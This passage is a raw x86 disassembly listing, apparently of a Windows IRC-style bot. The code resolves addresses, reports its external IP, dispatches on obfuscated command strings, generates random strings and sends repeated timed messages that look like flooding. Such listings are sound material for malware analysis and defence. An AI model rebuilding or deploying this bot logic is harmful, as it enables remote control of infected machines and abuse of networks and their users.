push ebx
jmp loc_41467E
; ---------------------------------------------------------------------------
loc_40D208: ; CODE XREF: sub_40A938+2897j
push eax
call dword_456F5C ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_4C], eax
jz short loc_40D24C
push 2
lea eax, [ebp+var_4C]
push 4
push eax
call dword_456EB8 ; gethostbyaddr
test eax, eax
jz short loc_40D26A
push dword ptr [eax]
loc_40D22B: ; CODE XREF: sub_40A938+2930j
push dword ptr [ebx+4]
cmp [ebp+arg_18], 0
push offset aPimgt12pvee_ ; "pImgT12pvEE."
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset aSSSS_ ; "%s %s: %s -> %s."
jnz loc_4148C2
jmp loc_414891
; ---------------------------------------------------------------------------
loc_40D24C: ; CODE XREF: sub_40A938+28DDj
push dword ptr [ebx+4]
call dword_456FB4 ; gethostbyname
test eax, eax
jz short loc_40D26A
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
push eax
call dword_456FBC ; inet_ntoa
push eax
jmp short loc_40D22B
; ---------------------------------------------------------------------------
loc_40D26A: ; CODE XREF: sub_40A938+28EFj
; sub_40A938+291Fj
push offset aJgyqn0dmzir12z ; "jgYqN0dmziR12zQe40gFoLm.rilJR.uuL/I0"
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset aSS_1 ; "%s %s"
jmp loc_40D132
; ---------------------------------------------------------------------------
loc_40D27E: ; CODE XREF: sub_40A938+288Cj
push dword ptr [ebx]
push offset a4rmbzFcic21 ; "4RmBz/FCic21"
call edi ; dword_437174
test eax, eax
jnz short loc_40D2A1
push [ebp+arg_18]
push [ebp+arg_10]
push dword ptr [esi+0Ch]
call sub_41BD3B
loc_40D299: ; CODE XREF: sub_40A938+1462j
; sub_40A938+1B6Dj
add esp, 0Ch
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40D2A1: ; CODE XREF: sub_40A938+2951j
push dword ptr [ebx]
push offset aSc_coSwlk_ ; "SC.Co/swLK/."
call edi ; dword_437174
test eax, eax
jnz loc_40D346
mov ebx, offset dword_457C20
push offset byte_454A34
push ebx
call edi ; dword_437174
test eax, eax
jz short loc_40D2CE
push ebx
call sub_41E3FB
test eax, eax
pop ecx
jz short loc_40D32F
loc_40D2CE: ; CODE XREF: sub_40A938+2989j
cmp [ebp+arg_14], 0
mov ebx, offset aHm1h_049e4o ; "Hm1H.049e4O/"
mov edi, offset aSObtainingExte ; "%s Obtaining external IP"
jnz short loc_40D2F4
cmp [ebp+arg_18], 0
jnz short loc_40D2FA
push ebx
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_40D2F4: ; CODE XREF: sub_40A938+29A4j
cmp [ebp+arg_18], 0
jz short loc_40D309
loc_40D2FA: ; CODE XREF: sub_40A938+29AAj
push ebx
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 10h
loc_40D309: ; CODE XREF: sub_40A938+29C0j
mov ecx, [ebp+arg_10]
call sub_41DA92
mov ecx, [ebp+arg_10]
push eax
call sub_41CE5F
mov edi, eax
push 2710h
push edi
call dword_43707C ; WaitForSingleObject
push edi
call dword_437044 ; CloseHandle
loc_40D32F: ; CODE XREF: sub_40A938+2994j
push 0
push 1
push [ebp+arg_18]
push [ebp+arg_10]
push dword ptr [esi+0Ch]
call sub_41C172
jmp loc_4146D5
; ---------------------------------------------------------------------------
loc_40D346: ; CODE XREF: sub_40A938+2974j
push dword ptr [ebx]
push offset aLees11vpbnf0 ; "LeEs11vPbnf0"
call edi ; dword_437174
test eax, eax
jnz loc_40EF95
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
push dword ptr [ebx+4]
push offset aLbjvg0r_qmb_ ; "lbJVg0r.qMb."
call edi ; dword_437174
test eax, eax
jnz loc_40D457
xor ecx, ecx
cmp [ebx+4], ecx
jz loc_40E01B
cmp [ebx+8], ecx
jz loc_40E01B
cmp [ebx+0Ch], ecx
jz loc_40E01B
mov eax, [ebx+10h]
cmp eax, ecx
jz loc_40E01B
push eax
call sub_42A030
cmp eax, 0Fh
pop ecx
jle short loc_40D3B9
mov edi, offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
mov ebx, offset aSTooMuchConns_ ; "%s Too Much conns."
jmp loc_40D1DB
; ---------------------------------------------------------------------------
loc_40D3B9: ; CODE XREF: sub_40A938+2A70j
cmp dword ptr [ebx+14h], 0
jnz short loc_40D3C6
mov dword ptr [ebx+14h], offset byte_454A34
loc_40D3C6: ; CODE XREF: sub_40A938+2A85j
push dword ptr [ebx+14h]
push dword ptr [ebx+10h]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42660A
add esp, 10h
cmp [ebp+arg_14], 0
jnz short loc_40D423
cmp [ebp+arg_18], 0
jnz short loc_40D429
push dword ptr [ebx+10h]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
push offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
push offset aSLoadedOntoSDA ; "%s Loaded Onto: (%s:%d), Amount: (%d)"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_40D423: ; CODE XREF: sub_40A938+2AB4j
cmp [ebp+arg_18], 0
jz short loc_40D457
loc_40D429: ; CODE XREF: sub_40A938+2ABAj
push dword ptr [ebx+10h]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
push offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
push offset aSLoadedOntoSDA ; "%s Loaded Onto: (%s:%d), Amount: (%d)"
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 1Ch
loc_40D457: ; CODE XREF: sub_40A938+2A38j
; sub_40A938+2AEFj
push dword ptr [ebx+4]
push offset aA52n11svyfw0 ; "A52N11SVYFw0"
call edi ; dword_437174
test eax, eax
jnz loc_40D522
cmp [ebx+8], eax
jz loc_40D522
push 2710h
push eax
lea eax, [ebp+var_5CA40]
push eax
call sub_429690
push 104h
lea eax, [ebp+var_2FAC]
push 0
push eax
call sub_429690
push dword ptr [ebx+8]
lea eax, [ebp+var_2FAC]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 24h
push 3
pop eax
cmp [ebp+arg_4], eax
mov [ebp+arg_68], eax
jle short loc_40D4FB
loc_40D4B9: ; CODE XREF: sub_40A938+2BC1j
mov eax, [ebp+arg_68]
mov eax, [ebx+eax*4]
test eax, eax
jz short loc_40D4F0
push eax
lea eax, [ebp+var_5CA40]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_5CA40]
push 104h
push eax
lea eax, [ebp+var_2FAC]
push eax
call sub_429910
add esp, 18h
loc_40D4F0: ; CODE XREF: sub_40A938+2B89j
inc [ebp+arg_68]
mov eax, [ebp+arg_68]
cmp eax, [ebp+arg_4]
jl short loc_40D4B9
loc_40D4FB: ; CODE XREF: sub_40A938+2B7Fj
lea eax, [ebp+var_2FAC]
push eax
lea eax, [ebp+var_1F9B0]
push offset aS_5 ; "%s"
push eax
call sub_429A33
lea eax, [ebp+var_1F9B0]
push eax
call sub_4262C5
add esp, 10h
loc_40D522: ; CODE XREF: sub_40A938+2B2Bj
; sub_40A938+2B34j
push dword ptr [ebx+4]
push offset aHj6vo0jrp9q0 ; "Hj6vo0JRP9Q0"
call edi ; dword_437174
test eax, eax
jnz loc_40D5D0
mov eax, [ebx+0Ch]
test eax, eax
jz loc_40D5D0
push eax
lea eax, [ebp+var_5CC0]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
push 4
pop eax
cmp [ebp+arg_4], eax
mov [ebp+arg_68], eax
jle short loc_40D5A1
loc_40D55F: ; CODE XREF: sub_40A938+2C67j
mov eax, [ebp+arg_68]
mov eax, [ebx+eax*4]
test eax, eax
jz short loc_40D596
push eax
lea eax, [ebp+var_E840]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_E840]
push 100h
push eax
lea eax, [ebp+var_5CC0]
push eax
call sub_429910
add esp, 18h
loc_40D596: ; CODE XREF: sub_40A938+2C2Fj
inc [ebp+arg_68]
mov eax, [ebp+arg_68]
cmp eax, [ebp+arg_4]
jl short loc_40D55F
loc_40D5A1: ; CODE XREF: sub_40A938+2C25j
lea eax, [ebp+var_5CC0]
push eax
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
loc_40D5D0: ; CODE XREF: sub_40A938+2BF6j
; sub_40A938+2C01j
push dword ptr [ebx+4]
push offset aR7wrsQhek_0 ; "r7WRs/qHek.0"
call edi ; dword_437174
test eax, eax
jnz loc_40DB6B
cmp [ebx+8], eax
jz loc_40DB6B
call sub_429ACC
push 1Ah
mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"...
cdq
pop ecx
lea edi, [ebp+var_768]
idiv ecx
push 0Fh
pop ecx
rep movsd
movsw
movsb
add dl, 41h
mov byte ptr [ebp+arg_68+3], dl
call sub_429ACC
push 0Fh
pop esi
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
movsx eax, byte ptr [ebp+arg_68+3]
push edx
push eax
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
lea eax, [ebp+var_247D0]
push edx
push offset dword_441168
push eax
call sub_429A33
add esp, 0BCh
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
lea eax, [ebp+var_295F0]
push edx
push offset dword_441140
push eax
call sub_429A33
lea eax, [ebp+var_2E410]
push offset unk_4410B0
push eax
call sub_429A33
lea eax, [ebp+var_247D0]
mov edi, offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push eax
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push edi
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
lea eax, [ebp+var_295F0]
push eax
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push edi
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
add esp, 44h
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
lea eax, [ebp+var_2E410]
push eax
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push edi
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
mov edi, 2710h
lea eax, [ebp+var_2BD00]
push edi
push 0
push eax
call sub_429690
push edi
lea eax, [ebp+var_4DFE0]
push 0
push eax
call sub_429690
add esp, 34h
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov [ebp+arg_68], edx
call sub_429ACC
cdq
idiv esi
mov esi, dword_437184
mov [ebp+var_4], 8Fh
mov [ebp+arg_8], edx
loc_40D915: ; CODE XREF: sub_40A938+3063j
call esi ; dword_437184
push eax
call sub_429ABF
cmp [ebp+arg_68], 0Fh
pop ecx
jle short loc_40D932
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
mov [ebp+arg_68], edx
loc_40D932: ; CODE XREF: sub_40A938+2FEAj
cmp [ebp+arg_8], 0Fh
jle short loc_40D946
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
mov [ebp+arg_8], edx
loc_40D946: ; CODE XREF: sub_40A938+2FFEj
call sub_429ACC
push 24h
cdq
pop ecx
idiv ecx
movsx eax, [ebp+edx+var_768]
push eax
lea eax, [ebp+var_2BD00]
push [ebp+arg_8]
push [ebp+arg_68]
push offset dword_44109C
push edi
push eax
call sub_429AEE
add esp, 18h
lea eax, [ebp+var_2BD00]
push eax
lea eax, [ebp+var_4DFE0]
push eax
call dword_437090 ; lstrcatA
inc [ebp+arg_68]
inc [ebp+arg_8]
call esi ; dword_437184
push eax
call sub_429ABF
dec [ebp+var_4]
pop ecx
jnz loc_40D915
lea eax, [ebp+var_4DFE0]
mov esi, offset aSSS ; "%s %s :%s"
push eax
lea eax, [ebp+var_33230]
push dword ptr [ebx+8]
push offset aG7IvGks9l1 ; "g7/IV/gks9L1"
push esi
push eax
call sub_429A33
lea eax, [ebp+var_33230]
push eax
call sub_4262C5
push edi
lea eax, [ebp+var_30B20]
push 0
push eax
call sub_429690
push edi
lea eax, [ebp+var_10F50]
push 0
push eax
call sub_429690
add esp, 30h
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
mov [ebp+arg_68], edx
call sub_429ACC
push 0Fh
mov [ebp+var_4], 8Fh
cdq
pop ecx
idiv ecx
mov [ebp+arg_8], edx
loc_40DA12: ; CODE XREF: sub_40A938+3168j
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
cmp [ebp+arg_68], 0Fh
pop ecx
jle short loc_40DA33
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
mov [ebp+arg_68], edx
loc_40DA33: ; CODE XREF: sub_40A938+30EBj
cmp [ebp+arg_8], 0Fh
jle short loc_40DA47
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
mov [ebp+arg_8], edx
loc_40DA47: ; CODE XREF: sub_40A938+30FFj
call sub_429ACC
push 24h
cdq
pop ecx
idiv ecx
movsx eax, [ebp+edx+var_768]
push eax
lea eax, [ebp+var_30B20]
push [ebp+arg_8]
push [ebp+arg_68]
push offset dword_44108C
push edi
push eax
call sub_429AEE
add esp, 18h
lea eax, [ebp+var_30B20]
push eax
lea eax, [ebp+var_10F50]
push eax
call dword_437090 ; lstrcatA
inc [ebp+arg_68]
inc [ebp+arg_8]
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
dec [ebp+var_4]
pop ecx
jnz loc_40DA12
lea eax, [ebp+var_10F50]
push eax
lea eax, [ebp+var_1D2A0]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push esi
push eax
call sub_429A33
lea eax, [ebp+var_1D2A0]
push eax
call sub_4262C5
push edi
lea eax, [ebp+var_1D2A0]
push 0
push eax
call sub_429690
lea eax, [ebp+var_10F50]
push eax
lea eax, [ebp+var_1D2A0]
push dword ptr [ebx+8]
push offset aG7IvGks9l1 ; "g7/IV/gks9L1"
push esi
push eax
call sub_429A33
lea eax, [ebp+var_1D2A0]
push eax
call sub_4262C5
lea eax, [ebp+var_2230]
push eax
call sub_426698
add esp, 40h
lea eax, [ebp+var_2230]
mov esi, offset aSS_1 ; "%s %s"
push eax
push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
lea eax, [ebp+var_59BC]
push esi
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aYjmlc1btsf10 ; "yJmlc1btsF10"
push esi
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
mov esi, [ebp+arg_C]
mov edi, dword_437174
add esp, 28h
loc_40DB6B: ; CODE XREF: sub_40A938+2CA4j
; sub_40A938+2CADj
push dword ptr [ebx+4]
push offset aDuzcb0kgssv0 ; "DuzCb0KgSsv0"
call edi ; dword_437174
test eax, eax
jnz loc_40DD81
mov eax, [ebx+0Ch]
test eax, eax
jz loc_40DD81
push eax
lea eax, [ebp+var_5FC8]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
push 4
pop eax
cmp [ebp+arg_4], eax
mov [ebp+arg_68], eax
jle short loc_40DBEA
loc_40DBA8: ; CODE XREF: sub_40A938+32B0j
mov eax, [ebp+arg_68]
mov eax, [ebx+eax*4]
test eax, eax
jz short loc_40DBDF
push eax
lea eax, [ebp+var_E840]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_E840]
push 100h
push eax
lea eax, [ebp+var_5FC8]
push eax
call sub_429910
add esp, 18h
loc_40DBDF: ; CODE XREF: sub_40A938+3278j
inc [ebp+arg_68]
mov eax, [ebp+arg_68]
cmp eax, [ebp+arg_4]
jl short loc_40DBA8
loc_40DBEA: ; CODE XREF: sub_40A938+326Ej
lea eax, [ebp+var_5FC8]
push eax
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_441080
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_441070
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_441070
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_441070
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_44105C
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_44104C
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_44104C
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
loc_40DD81: ; CODE XREF: sub_40A938+323Fj
; sub_40A938+324Aj
push dword ptr [ebx+4]
push offset aDqjso_47pdb ; "dQJSO.47pdb/"
call edi ; dword_437174
test eax, eax
jnz loc_40DE48
cmp [ebx+8], eax
jz loc_40DE48
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_441070
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_441070
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_441070
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
loc_40DE48: ; CODE XREF: sub_40A938+3455j
; sub_40A938+345Ej
push dword ptr [ebx+4]
push offset aK9vUKkutm ; "K9V/U/KkuTM/"
call edi ; dword_437174
test eax, eax
jnz loc_40DEF6
mov eax, [ebx+0Ch]
test eax, eax
jz loc_40DEF6
push eax
lea eax, [ebp+var_30AC]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
push 4
pop eax
cmp [ebp+arg_4], eax
mov [ebp+arg_68], eax
jle short loc_40DEC7
loc_40DE85: ; CODE XREF: sub_40A938+358Dj
mov eax, [ebp+arg_68]
mov eax, [ebx+eax*4]
test eax, eax
jz short loc_40DEBC
push eax
lea eax, [ebp+var_E840]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_E840]
push 100h
push eax
lea eax, [ebp+var_30AC]
push eax
call sub_429910
add esp, 18h
loc_40DEBC: ; CODE XREF: sub_40A938+3555j
inc [ebp+arg_68]
mov eax, [ebp+arg_68]
cmp eax, [ebp+arg_4]
jl short loc_40DE85
loc_40DEC7: ; CODE XREF: sub_40A938+354Bj
lea eax, [ebp+var_30AC]
push eax
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aG7IvGks9l1 ; "g7/IV/gks9L1"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
loc_40DEF6: ; CODE XREF: sub_40A938+351Cj
; sub_40A938+3527j
push dword ptr [ebx+4]
push offset a7yfnz0pw11s1 ; "7yfnz0PW11s1"
call edi ; dword_437174
test eax, eax
jnz loc_40DFA4
mov eax, [ebx+0Ch]
test eax, eax
jz loc_40DFA4
push eax
lea eax, [ebp+var_5ABC]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
push 4
pop eax
cmp [ebp+arg_4], eax
mov [ebp+arg_68], eax
jle short loc_40DF75
loc_40DF33: ; CODE XREF: sub_40A938+363Bj
mov eax, [ebp+arg_68]
mov eax, [ebx+eax*4]
test eax, eax
jz short loc_40DF6A
push eax
lea eax, [ebp+var_E840]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_E840]
push 100h
push eax
lea eax, [ebp+var_5ABC]
push eax
call sub_429910
add esp, 18h
loc_40DF6A: ; CODE XREF: sub_40A938+3603j
inc [ebp+arg_68]
mov eax, [ebp+arg_68]
cmp eax, [ebp+arg_4]
jl short loc_40DF33
loc_40DF75: ; CODE XREF: sub_40A938+35F9j
lea eax, [ebp+var_5ABC]
push eax
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aLcxMHdpwr1_0 ; "lCX/m/HdpWr1"
push offset dword_441040
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
loc_40DFA4: ; CODE XREF: sub_40A938+35CAj
; sub_40A938+35D5j
push dword ptr [ebx+4]
push offset aNq_as1z1sit ; "nQ.As1Z1SIt/"
call edi ; dword_437174
test eax, eax
jnz short loc_40DFE2
mov ecx, [ebx+8]
test ecx, ecx
jz short loc_40DFE2
mov eax, [ebx+0Ch]
test eax, eax
jz short loc_40DFE2
push eax
push ecx
lea eax, [ebp+var_59BC]
push offset dword_441030
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
loc_40DFE2: ; CODE XREF: sub_40A938+3678j
; sub_40A938+367Fj ...
push dword ptr [ebx+4]
push offset aUn3hk0sn58o_0 ; "uN3hk0sn58o/"
call edi ; dword_437174
test eax, eax
jnz short loc_40E051
mov ecx, [ebx+8]
test ecx, ecx
jz short loc_40E051
mov eax, [ebx+0Ch]
test eax, eax
jz short loc_40E02A
push eax
push ecx
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
lea eax, [ebp+var_59BC]
push offset dword_441040
push eax
call sub_429A33
add esp, 14h
jmp short loc_40E044
; ---------------------------------------------------------------------------
loc_40E01B: ; CODE XREF: sub_40A938+2A43j
; sub_40A938+2A4Cj ...
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
mov edi, offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
jmp loc_410A94
; ---------------------------------------------------------------------------
loc_40E02A: ; CODE XREF: sub_40A938+36C4j
push ecx
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
add esp, 10h
loc_40E044: ; CODE XREF: sub_40A938+36E1j
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
pop ecx
loc_40E051: ; CODE XREF: sub_40A938+36B6j
; sub_40A938+36BDj
push dword ptr [ebx+4]
push offset aQrn4z10ge1i1_0 ; "QRn4z10ge1I1"
call edi ; dword_437174
test eax, eax
jnz short loc_40E08C
mov eax, [ebx+8]
test eax, eax
jz short loc_40E08C
push eax
push offset aYjmlc1btsf10 ; "yJmlc1btsF10"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
loc_40E08C: ; CODE XREF: sub_40A938+3725j
; sub_40A938+372Cj
push dword ptr [ebx+4]
push offset aIegud0v_5_ ; "iEguD0V/.5/."
call edi ; dword_437174
test eax, eax
jnz short loc_40E0CF
mov ecx, [ebx+8]
test ecx, ecx
jz short loc_40E0CF
mov eax, [ebx+0Ch]
test eax, eax
jz short loc_40E0CF
push eax
push ecx
push offset aYjmlc1btsf10 ; "yJmlc1btsF10"
lea eax, [ebp+var_59BC]
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
loc_40E0CF: ; CODE XREF: sub_40A938+3760j
; sub_40A938+3767j ...
push dword ptr [ebx+4]
push offset aFc9kk1jx11g_ ; "fc9Kk1jX11G."
call edi ; dword_437174
test eax, eax
jnz short loc_40E13C
cmp [ebx+8], eax
jz short loc_40E13C
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
call sub_429ACC
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_1F54]
push edx
push dword ptr [ebx+8]
push offset dword_441028
push eax
call sub_429A33
lea eax, [ebp+var_1F54]
push eax
push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 28h
loc_40E13C: ; CODE XREF: sub_40A938+37A3j
; sub_40A938+37A8j
push dword ptr [ebx+4]
push offset aDnjq8Ze3zw ; "DnjQ8/ze3ZW/"
call edi ; dword_437174
test eax, eax
jnz loc_40E290
mov eax, [ebx+8]
test eax, eax
jz loc_40E290
cmp dword ptr [ebx+0Ch], 0
